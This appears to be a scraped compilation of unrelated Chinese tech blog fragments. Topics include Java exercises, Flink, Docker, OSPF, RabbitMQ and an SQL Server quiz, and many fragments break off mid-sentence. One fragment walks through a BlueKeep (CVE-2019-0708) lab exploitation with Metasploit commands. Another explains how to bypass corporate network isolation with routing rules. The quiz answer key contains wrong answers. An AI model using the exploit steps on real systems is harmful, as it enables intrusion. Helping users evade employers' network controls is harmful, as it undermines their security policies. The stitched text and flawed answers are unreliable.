Test类 package anli5_4; //字符串转换为二进制 import java.util.Scanner; public class Test { public static void main(String[] args) { Scanner sc =new Scanner(System.in); System.out.println("请输入字符串:"); String str =sc.nextLine(); int[][]arr= new int[str.length()][4]; for (int i=0;i<str.length();i++){ int ch =str.charAt(i)-48; for (int j=0;j<4;j++){ arr[i][j]=(int) (ch/Math.pow(2,3-j)%2); } } System.out.println("二进制的结果为"); for (int i=0;i<arr.length;i++){ for (int j =0;j< arr[i].length;j++){ System.out.print(arr[i][j]); } } } } 结果展示
Test类 package anli5_3; import java.util.Scanner; //模拟用户登录 public class Test { public static void main(String[] args) { String username="name"; String password="mima"; Scanner sc=new Scanner(System.in); for (int i = 1; i <= 3; i++) { System.out.println("请输入用户名"); String scU= sc.nextLine(); System.out.println("请输入密码"); String scP=sc.nextLine(); if (username.equals(scU)&&password.equals(scP)){ System.out.println("登陆成功"); break; }else { if (3-i==0){ System.out.println("你的登录次数以用完,请与管理员联系"); }else { System.out.println("登陆失败,您还剩余"+(3-i)+"次机会"); } } } } } 结果展示
Test类 package anli5_1; //模拟订单单号生成 public class Test { public static void main(String[] args) { int[]arr={2019,1010,1001}; String s=arrayToString(arr); System.out.println(s); } private static String arrayToString(int[] arr) { String str ="[";//开始符号 for (int i=0;i<arr.length;i++){ str +=arr[i]; } str +="]";//结束符号 return str; } } 结果展示
Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found的解决方案,亲测可用! 方法一:清理IDEA的缓存 File -> Invalidate Caches
方法二:添加版本号 先看自己当前的版本号 首先打开pom.xml文件进行查看Ctrl+F搜索spring-boot-starter-parent找到<artifactId>spring-boot-starter-parent</artifactId>这一行。下面一行就是版本号。 拿我的举例:
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.1.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> 复制 <version>版本号</version>
然后修改 将上面查找到的版本号粘贴到报错的那一行下面即可。
效果:
<plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>2.1.1.RELEASE</version> </plugin>
漏洞介绍 2019年5月14日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的 Windows 系统。此漏洞是预身份验证,无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用,与2017年 WannaCry 勒索病毒的传播方式类似。
漏洞原理 存在漏洞的远程桌面服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的 MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。
影响版本 目前已知受影响的 Windows 版本包括但不限于:
Windows 7
Windows Server 2008
Windows Server 2008 R2
Windows Server 2003
Windows XP
Windows 8 和 windows10 以及之后的版本不受此漏洞影响
漏洞复现 复现环境 windows11(本机)192.168.2.51
windows7(虚拟机)192.168.2.44 桥接
kali2022.1(虚拟机)192.168.2.248 桥接
复现过程 首先windows7开启了3389端口,关闭了防火墙
登录kali2022.1,用自带的namp进行端口扫描windows7,发现3389端口开启
nmap 192.168.2.44 打开msf
msfconsole 查找cve-2019-0708,存在POC和EXP
search cve-2019-0708 先选择POC判断漏洞是否存在,确定漏洞存在
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep set rhosts 192.168.2.44 run 退回
back 使用EXP进行攻击,拿到权限
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce set rhosts 192.
依次绕着每个轴旋转。
1 欧拉角: 对物体进行编辑,或者摆放的时候会经常用,但是做动画的时候无法使用欧拉角。
欧拉角的问题:好处就是符合人的知觉
(1)严格的顺序依赖:顺序不一样,他算出来的结果不一样。
(2)万向节:万向锁
沿时间轴上偏的方向和它的速度一起积分,可以算出它的轨迹。
(3)很难插值
(4)旋转的叠加很难
(5)很难沿着一个固定的轴旋转。
2 四元数 在三维空间内是work的。
四元数的定义如下:
欧拉角转成四元数的公式如下:
四元数和矩阵的计算很类似;
四元数转成旋转矩阵:
反向旋转公式,旋转叠加,一个向量旋转到另外一个向量的四元数公式如下:
给定轴的旋转公式如下:
背景 近期工作,需要部署嵌入式设备中。对于嵌入式的学习,进行一些记录。
本机操作 1 .保存一个hello.c文件
#include <stdio.h> int main(int argc,char const *argv[]) { printf("hello arm\n"); return 0; } 2.交叉编译(本机用的交叉编译器为:arm-linux-gnueabihf-gcc )
arm-linux-gnueabihf-gcc hello.c -static -o hello_arm 这里选择-static静态链接编译,动态链接编译需要很多库,不方便。
这里会生成hello_arm可执行文件(在arm架构的开发板上可执行)
这里可以查看该文件类型:
命令
file hello_arm 结果:
hello_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0c48010148442cb1f9a651e0695e717866416039, with debug_info, not stripped
ARM开发板上操作 将hello_arm文件传到开发板上(这里是VIM3 Amlogic板子,上传方式本次用U盘挂载的方式)
切换到该文件所在目录。
执行:
./hello_arm 结果输出:
hello arm
大公司里一般都会搭建内网环境,为了网络安全,内外网隔离。在内网环境中如果想访问外网,需要走公司的代理。一般情况下公司代理都会屏蔽一些地址,因此我们不得不频繁的在内外网之间进行切换...这降低了工作效率不说,也降低了我们的工作热情。有没有办法破解呢?
目标 Macbook上连接外网wifi的同时,也插上内网网线,可以同时访问公司内网和外网。
原理:通过配置路由表,分发网络。
检查并修改网络优先级 默认情况下,mac的网络优先级是先走网线,然后是wifi,再是其他。如果是这样,我们同时插上网线和连接wifi,只能访问内网而无法访问外网,因此此时所有的请求都发往内网网关了。因此需要调整网络优先级。
在macbook的设置->网络->设定服务顺序中,把wifi排在最上面。
现在左侧网络属性这里,找到“设定服务顺序”,如下图:
然后选中wifi,拖动到最上面的位置:
这时,网络会优先走wifi。我们只能访问外网,而无法访问内网了。因为所有的请求都会走wifi。
如何解决呢?
添加内网路由 由于内网地址是固定的,所以可以通过添加内网路由,来指定我们的请求所走的网关。
在命令行中添加路由指令:
networksetup -setadditionalroutes "AX88772A" 10.100.22.0 255.255.255.0 10.4.120.1 10.100.120.0 255.255.255.0 10.4.120.1 10.170.33.0 255.255.255.0 10.4.120.1 10.30.32.0 255.255.255.0 10.4.120.1 10.4.0.0 255.255.0.0 10.4.120.1 59.44.43.0 255.255.255.0 10.4.120.1 192.168.0.0 255.255.0.0 10.4.120.1 其中,“AX88772A” 是我连接网线的网络名称,这个可以在设置->网络中查看,也可以通过命令行查看,如下:
查看网络名称: networksetup -listallnetworkservices 结果可能如下:
10.100.22.0 255.255.255.0 10.4.120.1,分别为目标地址段、子网掩码、网关地址。每3个地址为一组,如果有多个目标地址需求,就可以按照上面的形式来填写。 目标地址段和子网掩码,配置的是我们要访问的内网地址,如内网服务器、内网OA等,按需配置地址段。
网关地址,就是内网网关。
内网网关地址可以咨询公司的网络管理员。
或者在连接内网网线的情况下执行【netstat -rn】来查看。
设置完成后可以执行“networksetup -getadditionalroutes 网络名”查看效果:
这时,我们就可以既访问内网,又可以访问外网了,不需要再拔网线了!
其他情况 删除路由 如果出现意想不到的结果,可以执行如下指令删除路由配置:
networksetup -setadditionalroutes "AX88772A" 通过数据线使用iPhone网络 iPhone通过数据线连接macbook时一般情况下会给mac提供网络,这时既可以使用网络,又可以给手机充电,没必要通过wifi连接手机热点。
但如果想在这种情况下同时访问内外网,记得要调整网络优先级哟!
把USB 10/100/1000 LAN调到网线网络的上面即可。
【时间】2022.06.14 周二
【题目】【Flink入门(7)】Flink的ProcessFunction API(底层API)
本专栏是尚硅谷Flink课程的笔记与思维导图。
目录
引言
0.概述
1.KeyedProcessFunction
示例代码
2 TimerService和定时器(Timers)
示例代码
3 侧输出流(SideOutput)
4 CoProcessFunction
总思维导图
引言 本节主要介绍flink中的ProcessFunction API(底层API),主要是KeyedProcessFunction的基本使用和示例代码。
0.概述 1.KeyedProcessFunction 示例代码 设置一个定时器:在获取数据后第5s给出提示信息。
关键是实现processElement()和onTimer()方法。
package processfunction; import apitest.beans.SensorReading; import org.apache.flink.api.common.state.ValueState; import org.apache.flink.api.common.state.ValueStateDescriptor; import org.apache.flink.api.java.tuple.Tuple; import org.apache.flink.configuration.Configuration; import org.apache.flink.streaming.api.datastream.DataStream; import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment; import org.apache.flink.streaming.api.functions.KeyedProcessFunction; import org.apache.flink.util.Collector; public class ProcessTest1_KeyedProcessFunction { public static void main(String[] args) throws Exception{ StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); env.setParallelism(1); // socket文本流 DataStream<String> inputStream = env.socketTextStream("localhost", 7777); // 转换成SensorReading类型 DataStream<SensorReading> dataStream = inputStream.
docker高级篇 一.dockerfile解析 1.dockerfile是什么 dockerfile是用来构建docker镜像的文本文件,是有一条条构建镜像所需的指令和参数构成的脚本 2.dockerfile常用保留字指令 FROM #基础镜像,当前镜像是基于哪个镜像的,指定一个已经存在的镜像模板,第一条必须是from MAINTAINER #镜像维护者的姓名和邮箱地址 RUN #容器构建是需要运行的命令 EXPOSE #当前容器对外暴露的端口号 WORKDIR #指定在创建容器后终端默认登录进来的目录 USER #指定镜像以什么样的的用户去执行 ENV #用来在构建镜像过程中设置环境变量 ADD #将宿主机的文件拷贝进镜像且会自动处理URL和解压tar压缩包 COPY #拷贝文件和目录到镜像中 VOLUME #容器数据卷,用于数据保存和持久化工作 CMD #指定容器启动后要干的事 ENTRYPONIT #指定一个容器启动是要运行的命令 3.实例 #创建dockerfile文件 vim Dockerfile FROM centos MAINTAINER heber<heber@123.com> ENV MYPATH /usr/local WORKDIR $MYPATH #安装vim RUN yum -y install vim #安装ifconfig RUN yum -y install net-tools #安装Java8及lib库 RUN yum -y install glibc.i686 RUN mkdir /usr/local/java #添加Java包 ADD Jdk-8u171-linux-x64.tar.gz /usr/local/java #配置Java环境变量 ENV JAVA_HOME /usr/local/java/jdk1.
背景 通过串口工具minicom进入开发板VIM3中的Ubuntu系统,插入u盘,通过挂载u盘,进行数据访问。
命令及解释 su #需要切换到root用户 fdisk -l # 查看磁盘分区 mkdir mnt #创建目录mnt,是U盘要挂载的地方 mount /deb/sda1 xxx/mnt #sda1 是通过上面fdisk命令找到的设备名称,这个名称每个系统的可能不一样 umount xxx/mnt#使用完之后卸载U盘 umount /dev/sda1#卸载占用磁盘的空间 附: 如果要是想保留文件在机器上,可以copy一下到机器目录下。
然后可以执行秒 sync 命令,同步刷新一下,保证存到机器上了,下次开机还在。
问题描述:在项目中勾选不校验http请求,发起http请求。
会出现http请求自动转成了https请求,如图所示请求失败。这是因为微信开发者工具重定向导致的。
解决方法:
将微信开发者工具账号的配置清空,删除C盘微信开发者工具User Data文件夹中所有配置文件。
位置:
C:\Users\Administrator\AppData\Local\微信开发者工具\User Data
【时间】2022.06.08 周三 【题目】【Flink入门(6)】Flink的状态管理(基础)
本专栏是尚硅谷Flink课程的笔记与思维导图。
目录
引言
一、状态(state)概述
二、算子状态 Operator State
2.1 概述
2.2 数据结构
2.3 代码例子
三、键控状态 Keyed State
3.1 概述
3.2 数据结构
3.3 代码例子
3.4 两种状态的对比
3.5 横向扩展问题(并行度改变)
四、状态后端 State Backends
4.1 概述
4.2 不同的状态后端
4.3 代码示例
总思维导图
参考
引言 本节主要介绍flink中的状态管理(基础),包括:
算子状态 Operator State和 键控状态 Keyed State的概述与使用设置状态后端 State Backends 一、状态(state)概述 二、算子状态 Operator State 2.1 概述 2.2 数据结构 2.3 代码例子 代码: package apitest.state; import apitest.beans.SensorReading; import org.apache.flink.api.common.functions.MapFunction; import org.apache.flink.streaming.api.checkpoint.ListCheckpointed; import org.
文章目录 前言最近公共祖先 (LCA)强连通分量tarjankosaraju 割点 割边割点割边 (桥) 其他相关资料END 前言 Tarjan 算法是图论中非常著名和常用的算法之一,能解决最近公共祖先(LCA),强连通分量,割点和割边(桥),双连通分量等问题。
Tarjan 是基于dfs搜索的算法,依据递归栈,时间戳等信息能解决多种问题。在dfs中每个点只递归一次,边也只利用一次,因此时间复杂度为 O ( n + m ) {O(n+m)} O(n+m)。
本文主要以记录模板为主,不做详细教学,需要读者有一定的dfs基础,希望读者能总结出属于自己的模板。
在求强联通分量处,给出了另一种kosaraju算法的模板。
本文并没有求双联通分量的模板,以后有机会会给出。
最近公共祖先 (LCA) LCA - Lowest Common Ancestors
建树的边 (双向)建查询的边 (双向)dfs 入 vis 遍历子节点dfs回 并查集nex存cur离 枚举查询组 借助并查集的路径压缩 视频讲解:
322 最近公共祖先 Tarjan算法_哔哩哔哩_bilibili
练习题:
洛谷:P3379 【模板】最近公共祖先(LCA)
// P3379 【模板】最近公共祖先(LCA) #include <bits/stdc++.h> using namespace std; const int M = 10 + 500000; vector<vector<int>> graph(M); // 存图(树) vector<vector<pair<int, int>>> query(M); // 询问 int father[M]; // 并查集 bool vis[M]; // vis int ans[M]; // 第几组询问的答案 void initUnionFind(int n) { for (int i = 0; i <= n; i++) { father[i] = i; } } // 必须路径压缩 int unionFind(int x) { return x == father[x] ?
1.互联IP地址规则:如AR1和AR2互联就是12.1.1.1和12.1.1.2以此类推。
2.环回口配置如AR1 int lo 0 1.1.1.1 32
3.Ospf的routerID跟回环口相同方便记忆。也可以是设备里面没有的IP地址做routeid。只是一个标识。
4.宣告接口注意是只宣告自己有的接口
第一步配置接口IP和回环口地址(IP地址规则如上) 第二步配置ospf进程
第三步宣告ospf进程和rip进程
AR1配置回环口和接口IP
[Huawei]int LoopBack 0 //进入回环口0接口(也可以是1接口)
[Huawei-LoopBack0]ip add 1.1.1.1 32 //配置IP地址
[Huawei-LoopBack0]int g0/0/0 //直接从回环口进入到接口0
[Huawei-GigabitEthernet0/0/0]ip add 14.1.1.1 24 //配置IP地址
[Huawei-GigabitEthernet0/0/0]int g0/0/2 //进入接口2
[Huawei-GigabitEthernet0/0/2]ip add 172.16.10.1 24 //配置IP地址(中间有交换机需要三台AR路由器有接口在一个网段)
第二步:配置ospf
[Huawei]ospf 10 router-id 1.1.1.1 //创建ospf10 配置router-id 为1.1.1.1
[Huawei-ospf-10]area 10 //进入area 10区域
[Huawei-ospf-10-area-0.0.0.10]network 172.16.10.0 0.0.0.255 //宣告接口网段
[Huawei-ospf-10-area-0.0.0.10]network 14.1.1.0 0.0.0.255 //宣告接口网段
[Huawei-ospf-10-area-0.0.0.10]network 1.1.1.1 0.0.0.0 //宣告回环口网段
[Huawei-ospf-10-area-0.0.0.10]dis this //查看area10下配置的命令
[V200R003C00]
#
area 0.0.0.10
连接报错 //连接mysql const connection = mysql.createConnection({ host: 'localhost', user: 'root', password: '123456', database: 'user' }); connection.connect(); connection.query('SELECT * from tom', function (error:MysqlError, results:{name:string,password:string}, fields:FieldInfo) { if (error) throw error; console.log('The solution is: ', results); }); connection.end(); 错误信息 Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client at Handshake.Sequence._packetToError (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\sequences\Sequence.js:47:14) at Handshake.ErrorPacket (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\sequences\Handshake.js:123:18) at Protocol._parsePacket (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\Protocol.js:291:23) at Parser._parsePacket (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\Parser.js:433:10) at Parser.write (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\Parser.js:43:10) at Protocol.write (C:\Users\20264\Desktop\server\node_modules\mysql\lib\protocol\Protocol.
在使用MATLAB平滑函数时,报错无法识别smooth,同时也会报错参数不对,查看代码是没有问题的,搜索发现是安装系统时没有安装相关的工具箱,在帮助网站https://ww2.mathworks.cn/help/index.html查看相应函数是哪个工具箱安装即可。
发现函数在Curve Fitting Toolbox中,在MATLAB中找到附加功能,添加相应工具箱
在添加工具箱时如果拒绝访问可以将MATLAB的安装位置修改权限chmod 777 MATLAB即可
前言 昨天分享了 cuda在ubuntu的安装和使用,今天在jetson nano上进行测试验证使用cuda。在jetson nano上安装使用cuda和ubuntu有所区别,所以写了这篇文章。
首先cuda使用上还是有cuda库直接调用和opencv cuda库调用,最后还有在jetson nano内置的CUDA Samples。当然我们也可以自己在网络下载,这是官方链接:https://github.com/NVIDIA/cuda-samples
jetson nano安装cuda cuda在jetson nano的镜像是默认安装了的,已安装版本是:
CUDA10.2,CUDNNv8,tensorRT,opencv4.1.1,python2,python3,tensorflow2.3,所以我们可以直接使用,不过oepncv的cuda库是没有的,需要我们进行安装,不过安装的方式和上一篇文章类似,不过是有些操作细节需要修改一下。
由于jetson nano上面已经自带了CUDA10.2,那么我们直接使用了哈。因为一些普通演示demo上篇文章就介绍过了,所以本次就写了 cuda在ubuntu的安装使用分享
简单信息查询demo #include "cuda_runtime.h" #include "device_launch_parameters.h" #include <stdio.h> #include <iostream> using namespace std; int main() { int deviceCount; cudaGetDeviceCount(&deviceCount); for (int i = 0; i < deviceCount; i++) { cudaDeviceProp devPro; cudaGetDeviceProperties(&devPro, i); cout << "使用GPU:" << i << endl; cout << "设备全局内存总量:" << devPro.totalGlobalMem << endl; cout << "SM的数量:" << devPro.multiProcessorCount << endl; cout << "
如何并行启动WAS应用服务器?而不是按顺序启动?
登录ISC控制台 ==>> 系统管理 ==>> Node Agent ==>> nodeagent ==>> Java和进程管理 ==>> 进程定义 ==>> Java虚拟机 ==>> 定制属性
新建...
名称
com.ibm.websphere.management.nodeagent.bootstrap.maxthreadpool
值
5
确定
保存
所有的nodeagent都要设置一遍
然后重新启动所有的nodeagent即可
现在开发有这么一个需求:1个生产者生成消息需要被多个消费者同时消费到。
那么这个时候需要用广播的方式:
之前我们用的是通过绑定队列的方式
@RabbitListener(queues = "business_rrpc_queue") 这个时候你会发现,只有一个消费者消费到数据。
如果想让多个消费者消费到数据必须不指定queues,指定交换机
@RabbitListener(bindings = @QueueBinding( value = @Queue(), //注意这里不要定义队列名称,系统会随机产生 exchange = @Exchange(value = "business_rrpc_exchange",type = ExchangeTypes.FANOUT) ))
测试角度解读gitflow流程 一、前言1、什么是git2、git的优点 二、什么是gitflow1、GitFlow 协同工作流2、GitFlow的由来3、为何需要了解gitflow流程 三、gitflow分支含义1、Master 分支:2、Feture 分支:3、Developer 分支:4、Release 分支:5、Hotfix 分支:6、注意事项 四、gitflow的工作方式1、初始化分支2、开发分支feature3、发布分支release4、维护分支hotfix 五、版本节奏流程图1、理想流程图2、灰度与内测3、什么是灰度4、灰度流程 六、不同节点注意事项1、集成结束时间2、集成延期3、集成回归4、集成回归发现问题5、覆盖安装6、hotfix7、 影响其他业务模块8、集成后代码生效 一、前言 1、什么是git Git是一个分布式的版本管理工具,它分为远程仓库(云端仓库,存在后端服务器中)(仓库:repository简写repo:)和本地仓库。本地和云端的仓库的维护机制是类似的,它们都是使用一个类似一个树形结构的数据结构来维护的。
2、git的优点 git 是分布式的,有本地分支管理功能,所以,就算没有网络也可以进行本地的维护。
git的每个变动都是一个节点因此,每次的文件内容的变动都可以单独保存并且可以逐个的进行应用管理。在所有代码合并后也可以看到所有变更内容,而其他的版本管理工具则不可以。
由于git每次的变更都会生成一个完整的文件快照,所以它非常快。用空间来换取时间。
由于git会面临内存问题,它有自己的内存维护机制比如:删掉无用的节点,压缩打包历史记录等…
git有非常多的命令,可以灵活的使用。
二、什么是gitflow 1、GitFlow 协同工作流 GitFlow并非什么技术,而是一种代码开发合并管理流程的思维模式或者是管理方法。大家一起开发的一种软约定。 所有的功能开发与修改都在 master 分支上进行的。开发者开始先克隆中央仓库。在自己的项目拷贝中像SVN一样的编辑文件和提交修改;但修改是存在本地的,和中央仓库是完全隔离的。开发者可以把和上游的同步延后到一个方便时间点。 2、GitFlow的由来 我们为什么需要GitFlow这种git管理流程?原因有以下几点
1.有一个稳定版本的代码分支,可以安心的用在线上发布。
2.在代码提测前或者说是代码达到预发状态时,在测试交付的过程中程序员们还可以继续进行下一个版本的开发工作(挤出每一秒去开发)。
3.有个一个分支可以让我们及时的对线上的bug进行修复,这个过程中我们不希望将正在开发中的代码提交到线上生产中去。
由于上述开发过程中面临的需求,GitFlow协同国祚流应运而生。对应的点就是
1.代码共享
2.不同环境下代码互不干扰
3.管理好代码与环境的一致性
3、为何需要了解gitflow流程 项目角度:为了规避修改bug,需求开发带来的代码污染,更容易追溯问题,定位问题。
测试角度:掌握熟悉流程可以更好的帮助我们实现流程把控与风险预估,在不同的时间节点,可以很清晰的认知为何需要做这件事。
三、gitflow分支含义 1、Master 分支: 最为稳定功能比较完整的随时可发布的代码,即代码开发完成,经过测试,没有明显的bug,才能合并到 master 中。请注意永远不要在 master 分支上直接开发和提交代码,以确保 master 上的代码一直可用;
2、Feture 分支: 这个分支主要是用来开发新的功能,一旦开发完成,通过测试没问题(这个测试,测试新功能没问题),我们合并回develop 分支进入下一个 release 。
3、Developer 分支: 用作平时开发的主分支,并一直存在,永远是功能最新最全的分支,包含所有要发布 到下一个 release 的代码,主要用于合并其他分支,比如 feature 分支; 如果修改代码,新建 feature 分支修改完再合并到 develop 分支。所有的 feature、release 分支都是从 develop 分支上拉的。
图片/动效资源测试 一、图片1、前言2、图片格式1.jpeg是什么2.Png是什么3.Gif是什么4.Svg是什么5.总结6.png与jpg区别7.为何不适用gif与svg8.图片层级叠加 二、动效1、Lottie是什么1.Lottie实现原理2.lottie优点 2、SVGA是什么3、canvas是什么4、svga与lottie使用场景5、Cdn是什么6、渲染模式 三、资源测试方法1、资源正确性2、资源错误 兜底策略3、资源加载4、适配5、性能 一、图片 1、前言 首先,图片从类型上分,可以分为 位图 和 矢量图。
位图:位图又叫点阵图或像素图,计算机屏幕上的图是由屏幕上的发光点(即像素)构成的,每个点用二进制数据来描述其颜色与亮度等信息。因为这些点是离散的,类似于点阵,同时因为多个像素的色彩组合就形成了图片,所以叫这种图为点阵图或者位图。常见位图有 JPG、PNG、GIF 等格式。
矢量图:矢量图又叫向量图,它是由一系列计算机指令来描述和记录一幅图,一幅图可以解为点、线、面等组成的子图。生成的矢量图文件存储量很小,特别适用于文字设计、图案设计等,而在前端中比较常用的矢量图有 SVG 等格式……
然后,按压缩划分,可以将图片分为 无损压缩 和 有损压缩。
无损压缩:无损压缩是对文件本身的压缩,使图片占用的存储空间变小,并且不会损害图片的质量。常见无损压缩有 PNG 等。
有损压缩:有损压缩是对图像本身的改变,会对图片质量造成损害,随着压缩次数越来越多,那么图片质量会越来越差。常见有损压缩有 JPG 等。
最后,在计算机中,像素是用二进制来表示的。不同图片格式中像素与二进制位数之间的对应关系是不同的。一个像素对应的二进制位数越多,那么它可以表示的颜色种类就越多,成像效果也就越细腻,文件体积相应也会越大。
2、图片格式 图片资源有很多格式,下面具体介绍一下各类型图片格式内容与实用场景
1.jpeg是什么 关键字:有损压缩、体积小、加载快、不支持透明
简要介绍:
JPEG/JPG 格式,是应用最广泛的图片格式之一,特点如下:
JPEG/JPG 采用特殊的有损压缩算法,将不易被人眼察觉的图像颜色删除,从而达到较大的压缩比,因此它的压缩文件尺寸较小,下载速度快,成为互联网最广泛使用的格式。
JPEG/JPG 因为属于有损压缩,所以当压缩级别逐渐增大的时候,图片质量会逐渐损耗,所以压缩要适当。
适用场景:
大的背景图
轮播图
Banner 图
2.Png是什么 关键字:无损压缩、质量高、体积大、支持透明
简要介绍:
PNG(可移植网络图形格式)是一种无损压缩的高保真的图片格式,它的压缩比高于 GIF,支持图像透明,可以利用 Alpha 通道调节图像透的明度。
适用场景:
小的 Logo,颜色简单且对比强烈的图片或者背景。
颜色简单、对比度强的透明小图。
3.Gif是什么 关键字:支持动画
简要介绍:
GIF 格式,不仅仅支持静止图片,也可以支持动画,并且支持透明背景图像,适用于多种操作系统,体积很小,网上小动画很多是 GIF 格式。但是色域不太广,只支持 256 种颜色,这意味着颜色种类少。
适用场景:
动图
4.Svg是什么 关键字:文本文件、体积小、不失真、兼容性好
1.下列描述中,不属于数据库带来的好处的是(D)。 A.有利于对数据进行集中控制,可以对数据进行有效检索和访问
B.较少的冗余,保持数据的一致性、完整性
C.有助于数据共享并可加强对数据的保护
D.有助于人们理解人与计算机的联系
2.关系数据库中,(D)是保存和管理数据的基本单元。
A.记录B.行C.表D.列
3.SQL Server数据库中,进行查询所使用的语言为(B)
A.SQLB.T-SQLC.PL/SQLD.SQL CMD
1.主键用来实施(B)。
A.引用完整性约束
B.实体完整性约束
C.域完整性约束
D.自定义完整性约束
2.手机号码应该采用(A)格式的数据类型来存储。
A.char
B.int
C.float
D.bit
3.SQL Server主数据库文件的后缀名是(C)
A..ndf B..ldf C..mdf D..tdf
4.数据完整性是指(C)
A.数据库中的所有数据格式一样
B.数据库中的数据不可以重复
C.数据库中的数据能够反映实际情况
D.所有的数据都存储在数据库中
5.关于主键,下列说法正确的是(ABD)
A.一张表必须要有主键
B.一张表建议加主键
C.一张表可以设定多个主键
D.一个主键只能对应一列
1.创建数据库时,不需要指定(B)属性。
A.数据库的访问权限
B.数据库的存放位置
C.数据库的物理名和逻辑名
D.数据库的初始大小
2.在SQL Server2012中,删除数据表使用(BD)语句。
A.REMOVE
B.DELETE
C.ALTER
D.DROP
3.创建学生信息表时,设定学号要小于100,应采用(D)约束
A.外键
B.默认
C.主键
D.检查
4.某个字段希望存放住址,最好采用(B)数据类型
A.char(10)
B.varchar(10)
C.text
D.int
5.关于约束,下列说法正确的是(D)
A.一张表必须要有约束
B.建议每张表都加主键约束
C.标识列一定是主键
D.主键一定是标识列
1.如果想将数据修改正确,并更新到数据库中,应该用(D) A.SELECT
B.INSERT
C.DELETE
D.UPDATE
2.T-SQL语句中,(C)语句用于删除数据表中的记录。 A.
RabbitMQ模型 上面的图是官网中关于一条消息发送的整个流程,消息会经历下面几个流程:
生产者将消息发送到Exchange Exchange根据Routing Key路由到Queue消费者订阅Queue,从Queue中获取数据消费 可能发生消息丢失的情况 通过上面的RabbitMQ发送消息的模型我们可以知道在下面几个过程中消息可能会丢失:
生产者将消息发送到Exchange时丢失。例如在发送过程中因为网络原因发送失败,亦或者是因为发送到了一个不存在的Exchange。路由失败。这种情况就是消息已经发送到Exchange了,但是Exchange将消息根据Routing Key路由到对应的Queue时失败,例如这个Exchange根本就没有绑定Queue等等。客户端在处理消息时失败。客户端已经获取了消息,但是在处理消息过程中出现异常,没有对异常做处理,导致消息丢失了。 上面这几种情况都是消息在向不同的模块传递时失败导致消息丢失了,如果上面的情况都能解决就真的消息不会丢失了吗?然而结果并非如此,如果RabbitMQ服务宕机了,如果这些消息没有被持久化,等RabbitMQ服务重启之后,这些没有持久化的消息也将丢失。
分析了这么多的情况可能会导致消息丢失,下面将根据各种情况对应的分析来解决。
生产者发送消息到Exchange失败 对于网络原因导致消息发送到Exchange失败这个我们很好感知,我们只需要对发送异常做处理即可。排除这个原因,默认情况下生产者将消息发送到Exchange是不会返回任何信息给生产者,至于消息是不是真的到了服务端作为生产者根本无从可知。
对于这个问题RabbitMQ中有两种方式可以用来解决问题:
通过事务机制实现通过发送方确认机制实现 事务 RabbitMQ中我们可以使用channel.txSelect开启事务,使用channel.txCommit和channel.txRollback分别用来提交事务和回滚事务。与数据库的事务有稍许不同,数据库每次都需要打开事务,且最后与之对应的有commit或者rollback,而RabbitMQ中channel中的事务只需要开启一次,可以多次commit或者rollback。
//channel开启事务 channel.txSelect(); //发送3条消息 String msgTemplate = "测试事务消息内容[%d]"; channel.basicPublish("tx.exchange", "tx", new AMQP.BasicProperties(), String.format(msgTemplate,1).getBytes(StandardCharsets.UTF_8)); channel.basicPublish("tx.exchange", "tx", new AMQP.BasicProperties(), String.format(msgTemplate,2).getBytes(StandardCharsets.UTF_8)); channel.basicPublish("tx.exchange", "tx", new AMQP.BasicProperties(), String.format(msgTemplate,3).getBytes(StandardCharsets.UTF_8)); //消息回滚 channel.txRollback(); //成功提交 channel.basicPublish("tx.exchange", "tx", new AMQP.BasicProperties(), String.format(msgTemplate,4).getBytes(StandardCharsets.UTF_8)); channel.txCommit(); 上面的方法中一共发送了4次消息,前三次发送后最后调用了txRollback,这将导致前三条消息回滚而没有发送成功。而第四次发送之后调用commit,最后在RabbitMQ中只会有一条消息。
虽然事务可以保证消息一定被提交到服务器,而且在客户端编码方面足够简单。但是它也不是那么完美,在性能方面事务会带来较大的性能影响。如果对性能要求不是特别高的采用事务方式也是可以的,如果有性能方面的要求,可以使用Channel的确认机制。
confirm机制 confirm机制是为了解决事务性能问题的一种方案,我们可以通过使用channel.confirmSelect方法开启confirm模式,需要注意的是confirm机制与事务是不能共存的,简单的说就是开启事务就无法使用confirm,开启confirm就无法使用事务。当开启confirm之后,每次发送消息时都会生成一个唯一的ID,如果消息投递成功RabbitMQ就会给客户端发送一个ACK确认,通过唯一ID我们就知道哪个消息发送成功了。与事务方式不同的是事务需要每次发送完成之后commit或者rollback,这会导致不能继续发送必须等待RabbitMQ的响应。而confirm它的发送与ACK是不冲突的,发送之后不需要等待ACK完成之后才能进行,这样大大发送消息的效率。
//创建Exchange channel.exchangeDeclare("confirm.exchange", BuiltinExchangeType.DIRECT, true, false, new HashMap<>()); //创建Queue channel.queueDeclare("confirm.queue", true, false, false, new HashMap<>()); //绑定路由 channel.queueBind("confirm.queue", "confirm.exchange", "
问题场景: 在项目中我们使用gradle作为依赖管理,开发的过程中在模块A调用模块B,经常发现自己模块快照包A-SNAPSHOT.jar·,打出来的包在B模块中拉取不到最新的代码,但是加压A模块的jar发现是刚刚改动最新的jar,B模块多拉取几次都是这样,就像有缓存一样,这是怎么回事呢?
